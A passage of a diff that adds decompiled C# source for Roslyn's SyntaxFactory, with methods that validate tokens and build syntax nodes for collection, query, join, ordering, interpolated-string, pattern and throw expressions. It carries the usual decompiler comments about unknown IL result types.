type (might be due to invalid IL or missing references) + return CollectionExpression(Token(SyntaxKind.OpenBracketToken), elements, Token(SyntaxKind.CloseBracketToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionElementSyntax ExpressionElement(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionElementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ExpressionElement((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SpreadElementSyntax SpreadElement(SyntaxToken operatorToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (operatorToken.Kind() != SyntaxKind.DotDotToken) + { + throw new ArgumentException("operatorToken"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.SpreadElementSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.SpreadElement((SyntaxToken)(object)((SyntaxToken)(ref operatorToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SpreadElementSyntax SpreadElement(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return SpreadElement(Token(SyntaxKind.DotDotToken), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.QueryExpressionSyntax QueryExpression(Microsoft.CodeAnalysis.CSharp.Syntax.FromClauseSyntax fromClause, Microsoft.CodeAnalysis.CSharp.Syntax.QueryBodySyntax body) + { + if (fromClause == null) + { + throw new ArgumentNullException("fromClause"); + } + if (body == null) + { + throw new ArgumentNullException("body"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.QueryExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.QueryExpression((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FromClauseSyntax)(object)((SyntaxNode)fromClause).Green, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.QueryBodySyntax)(object)((SyntaxNode)body).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.QueryBodySyntax QueryBody(SyntaxList clauses, Microsoft.CodeAnalysis.CSharp.Syntax.SelectOrGroupClauseSyntax selectOrGroup, Microsoft.CodeAnalysis.CSharp.Syntax.QueryContinuationSyntax? continuation) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + if (selectOrGroup == null) + { + throw new ArgumentNullException("selectOrGroup"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.QueryBodySyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.QueryBody(GreenNodeExtensions.ToGreenList(clauses.Node), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SelectOrGroupClauseSyntax)(object)((SyntaxNode)selectOrGroup).Green, (continuation == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.QueryContinuationSyntax)(object)((SyntaxNode)continuation).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.QueryBodySyntax QueryBody(Microsoft.CodeAnalysis.CSharp.Syntax.SelectOrGroupClauseSyntax selectOrGroup) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return QueryBody(default(SyntaxList), selectOrGroup, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FromClauseSyntax FromClause(SyntaxToken fromKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax? type, SyntaxToken identifier, SyntaxToken inKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (fromKeyword.Kind() != SyntaxKind.FromKeyword) + { + throw new ArgumentException("fromKeyword"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + if (inKeyword.Kind() != SyntaxKind.InKeyword) + { + throw new ArgumentException("inKeyword"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.FromClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.FromClause((SyntaxToken)(object)((SyntaxToken)(ref fromKeyword)).Node, (type == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green), (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (SyntaxToken)(object)((SyntaxToken)(ref inKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FromClauseSyntax FromClause(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax? type, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return FromClause(Token(SyntaxKind.FromKeyword), type, identifier, Token(SyntaxKind.InKeyword), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FromClauseSyntax FromClause(SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return FromClause(Token(SyntaxKind.FromKeyword), null, identifier, Token(SyntaxKind.InKeyword), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FromClauseSyntax FromClause(string identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + return FromClause(Token(SyntaxKind.FromKeyword), null, Identifier(identifier), Token(SyntaxKind.InKeyword), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LetClauseSyntax LetClause(SyntaxToken letKeyword, SyntaxToken identifier, SyntaxToken equalsToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + if (letKeyword.Kind() != SyntaxKind.LetKeyword) + { + throw new ArgumentException("letKeyword"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + if (equalsToken.Kind() != SyntaxKind.EqualsToken) + { + throw new ArgumentException("equalsToken"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.LetClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.LetClause((SyntaxToken)(object)((SyntaxToken)(ref letKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (SyntaxToken)(object)((SyntaxToken)(ref equalsToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LetClauseSyntax LetClause(SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return LetClause(Token(SyntaxKind.LetKeyword), identifier, Token(SyntaxKind.EqualsToken), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.LetClauseSyntax LetClause(string identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return LetClause(Token(SyntaxKind.LetKeyword), Identifier(identifier), Token(SyntaxKind.EqualsToken), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.JoinClauseSyntax JoinClause(SyntaxToken joinKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax? type, SyntaxToken identifier, SyntaxToken inKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax inExpression, SyntaxToken onKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax leftExpression, SyntaxToken equalsKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax rightExpression, Microsoft.CodeAnalysis.CSharp.Syntax.JoinIntoClauseSyntax? into) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + if (joinKeyword.Kind() != SyntaxKind.JoinKeyword) + { + throw new ArgumentException("joinKeyword"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + if (inKeyword.Kind() != SyntaxKind.InKeyword) + { + throw new ArgumentException("inKeyword"); + } + if (inExpression == null) + { + throw new ArgumentNullException("inExpression"); + } + if (onKeyword.Kind() != SyntaxKind.OnKeyword) + { + throw new ArgumentException("onKeyword"); + } + if (leftExpression == null) + { + throw new ArgumentNullException("leftExpression"); + } + if (equalsKeyword.Kind() != SyntaxKind.EqualsKeyword) + { + throw new ArgumentException("equalsKeyword"); + } + if (rightExpression == null) + { + throw new ArgumentNullException("rightExpression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.JoinClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.JoinClause((SyntaxToken)(object)((SyntaxToken)(ref joinKeyword)).Node, (type == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)type).Green), (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (SyntaxToken)(object)((SyntaxToken)(ref inKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)inExpression).Green, (SyntaxToken)(object)((SyntaxToken)(ref onKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)leftExpression).Green, (SyntaxToken)(object)((SyntaxToken)(ref equalsKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)rightExpression).Green, (into == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.JoinIntoClauseSyntax)(object)((SyntaxNode)into).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.JoinClauseSyntax JoinClause(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax? type, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax inExpression, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax leftExpression, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax rightExpression, Microsoft.CodeAnalysis.CSharp.Syntax.JoinIntoClauseSyntax? into) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return JoinClause(Token(SyntaxKind.JoinKeyword), type, identifier, Token(SyntaxKind.InKeyword), inExpression, Token(SyntaxKind.OnKeyword), leftExpression, Token(SyntaxKind.EqualsKeyword), rightExpression, into); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.JoinClauseSyntax JoinClause(SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax inExpression, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax leftExpression, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax rightExpression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + return JoinClause(Token(SyntaxKind.JoinKeyword), null, identifier, Token(SyntaxKind.InKeyword), inExpression, Token(SyntaxKind.OnKeyword), leftExpression, Token(SyntaxKind.EqualsKeyword), rightExpression, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.JoinClauseSyntax JoinClause(string identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax inExpression, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax leftExpression, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax rightExpression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + return JoinClause(Token(SyntaxKind.JoinKeyword), null, Identifier(identifier), Token(SyntaxKind.InKeyword), inExpression, Token(SyntaxKind.OnKeyword), leftExpression, Token(SyntaxKind.EqualsKeyword), rightExpression, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.JoinIntoClauseSyntax JoinIntoClause(SyntaxToken intoKeyword, SyntaxToken identifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + if (intoKeyword.Kind() != SyntaxKind.IntoKeyword) + { + throw new ArgumentException("intoKeyword"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.JoinIntoClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.JoinIntoClause((SyntaxToken)(object)((SyntaxToken)(ref intoKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.JoinIntoClauseSyntax JoinIntoClause(SyntaxToken identifier) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return JoinIntoClause(Token(SyntaxKind.IntoKeyword), identifier); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.JoinIntoClauseSyntax JoinIntoClause(string identifier) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return JoinIntoClause(Token(SyntaxKind.IntoKeyword), Identifier(identifier)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.WhereClauseSyntax WhereClause(SyntaxToken whereKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (whereKeyword.Kind() != SyntaxKind.WhereKeyword) + { + throw new ArgumentException("whereKeyword"); + } + if (condition == null) + { + throw new ArgumentNullException("condition"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.WhereClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.WhereClause((SyntaxToken)(object)((SyntaxToken)(ref whereKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)condition).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.WhereClauseSyntax WhereClause(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return WhereClause(Token(SyntaxKind.WhereKeyword), condition); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OrderByClauseSyntax OrderByClause(SyntaxToken orderByKeyword, SeparatedSyntaxList orderings) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + if (orderByKeyword.Kind() != SyntaxKind.OrderByKeyword) + { + throw new ArgumentException("orderByKeyword"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.OrderByClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.OrderByClause((SyntaxToken)(object)((SyntaxToken)(ref orderByKeyword)).Node, GreenNodeExtensions.ToGreenSeparatedList(orderings.Node))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OrderByClauseSyntax OrderByClause(SeparatedSyntaxList orderings = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return OrderByClause(Token(SyntaxKind.OrderByKeyword), orderings); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OrderingSyntax Ordering(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken ascendingOrDescendingKeyword) + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (kind - 8782 > SyntaxKind.List) + { + throw new ArgumentException("kind"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + SyntaxKind syntaxKind = ascendingOrDescendingKeyword.Kind(); + if (syntaxKind != SyntaxKind.None && syntaxKind - 8432 > SyntaxKind.List) + { + throw new ArgumentException("ascendingOrDescendingKeyword"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.OrderingSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Ordering(kind, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref ascendingOrDescendingKeyword)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OrderingSyntax Ordering(SyntaxKind kind, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return Ordering(kind, expression, default(SyntaxToken)); + } + + private static SyntaxKind GetOrderingAscendingOrDescendingKeywordKind(SyntaxKind kind) + { + return kind switch + { + SyntaxKind.AscendingOrdering => SyntaxKind.AscendingKeyword, + SyntaxKind.DescendingOrdering => SyntaxKind.DescendingKeyword, + _ => throw new ArgumentOutOfRangeException(), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SelectClauseSyntax SelectClause(SyntaxToken selectKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (selectKeyword.Kind() != SyntaxKind.SelectKeyword) + { + throw new ArgumentException("selectKeyword"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.SelectClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.SelectClause((SyntaxToken)(object)((SyntaxToken)(ref selectKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.SelectClauseSyntax SelectClause(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return SelectClause(Token(SyntaxKind.SelectKeyword), expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.GroupClauseSyntax GroupClause(SyntaxToken groupKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax groupExpression, SyntaxToken byKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax byExpression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + if (groupKeyword.Kind() != SyntaxKind.GroupKeyword) + { + throw new ArgumentException("groupKeyword"); + } + if (groupExpression == null) + { + throw new ArgumentNullException("groupExpression"); + } + if (byKeyword.Kind() != SyntaxKind.ByKeyword) + { + throw new ArgumentException("byKeyword"); + } + if (byExpression == null) + { + throw new ArgumentNullException("byExpression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.GroupClauseSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.GroupClause((SyntaxToken)(object)((SyntaxToken)(ref groupKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)groupExpression).Green, (SyntaxToken)(object)((SyntaxToken)(ref byKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)byExpression).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.GroupClauseSyntax GroupClause(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax groupExpression, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax byExpression) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return GroupClause(Token(SyntaxKind.GroupKeyword), groupExpression, Token(SyntaxKind.ByKeyword), byExpression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.QueryContinuationSyntax QueryContinuation(SyntaxToken intoKeyword, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.QueryBodySyntax body) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + if (intoKeyword.Kind() != SyntaxKind.IntoKeyword) + { + throw new ArgumentException("intoKeyword"); + } + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + if (body == null) + { + throw new ArgumentNullException("body"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.QueryContinuationSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.QueryContinuation((SyntaxToken)(object)((SyntaxToken)(ref intoKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.QueryBodySyntax)(object)((SyntaxNode)body).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.QueryContinuationSyntax QueryContinuation(SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.QueryBodySyntax body) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return QueryContinuation(Token(SyntaxKind.IntoKeyword), identifier, body); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.QueryContinuationSyntax QueryContinuation(string identifier, Microsoft.CodeAnalysis.CSharp.Syntax.QueryBodySyntax body) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return QueryContinuation(Token(SyntaxKind.IntoKeyword), Identifier(identifier), body); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OmittedArraySizeExpressionSyntax OmittedArraySizeExpression(SyntaxToken omittedArraySizeExpressionToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (omittedArraySizeExpressionToken.Kind() != SyntaxKind.OmittedArraySizeExpressionToken) + { + throw new ArgumentException("omittedArraySizeExpressionToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.OmittedArraySizeExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.OmittedArraySizeExpression((SyntaxToken)(object)((SyntaxToken)(ref omittedArraySizeExpressionToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.OmittedArraySizeExpressionSyntax OmittedArraySizeExpression() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + return OmittedArraySizeExpression(Token(SyntaxKind.OmittedArraySizeExpressionToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterpolatedStringExpressionSyntax InterpolatedStringExpression(SyntaxToken stringStartToken, SyntaxList contents, SyntaxToken stringEndToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = stringStartToken.Kind(); + if (syntaxKind != SyntaxKind.InterpolatedStringStartToken && syntaxKind != SyntaxKind.InterpolatedVerbatimStringStartToken && syntaxKind - 9072 > SyntaxKind.List) + { + throw new ArgumentException("stringStartToken"); + } + syntaxKind = stringEndToken.Kind(); + if (syntaxKind != SyntaxKind.InterpolatedStringEndToken && syntaxKind != SyntaxKind.InterpolatedRawStringEndToken) + { + throw new ArgumentException("stringEndToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.InterpolatedStringExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.InterpolatedStringExpression((SyntaxToken)(object)((SyntaxToken)(ref stringStartToken)).Node, GreenNodeExtensions.ToGreenList(contents.Node), (SyntaxToken)(object)((SyntaxToken)(ref stringEndToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.InterpolatedStringExpressionSyntax InterpolatedStringExpression(SyntaxToken stringStartToken, SyntaxToken stringEndToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return InterpolatedStringExpression(stringStartToken, default(SyntaxList), stringEndToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IsPatternExpressionSyntax IsPatternExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken isKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (isKeyword.Kind() != SyntaxKind.IsKeyword) + { + throw new ArgumentException("isKeyword"); + } + if (pattern == null) + { + throw new ArgumentNullException("pattern"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.IsPatternExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.IsPatternExpression((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ExpressionSyntax)(object)((SyntaxNode)expression).Green, (SyntaxToken)(object)((SyntaxToken)(ref isKeyword)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.PatternSyntax)(object)((SyntaxNode)pattern).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IsPatternExpressionSyntax IsPatternExpression(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, Microsoft.CodeAnalysis.CSharp.Syntax.PatternSyntax pattern) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return IsPatternExpression(expression, Token(SyntaxKind.IsKeyword), pattern); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ThrowExpressionSyntax ThrowExpression(SyntaxToken throwKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (throwKeyword.Kind() != SyntaxKind.ThrowKeyword) + { + throw new ArgumentException("throwKeyword"); + } + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ThrowExpressionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ThrowExpression((SyntaxToken)(object)((SyntaxToken)(ref throwKeyword)).Node, 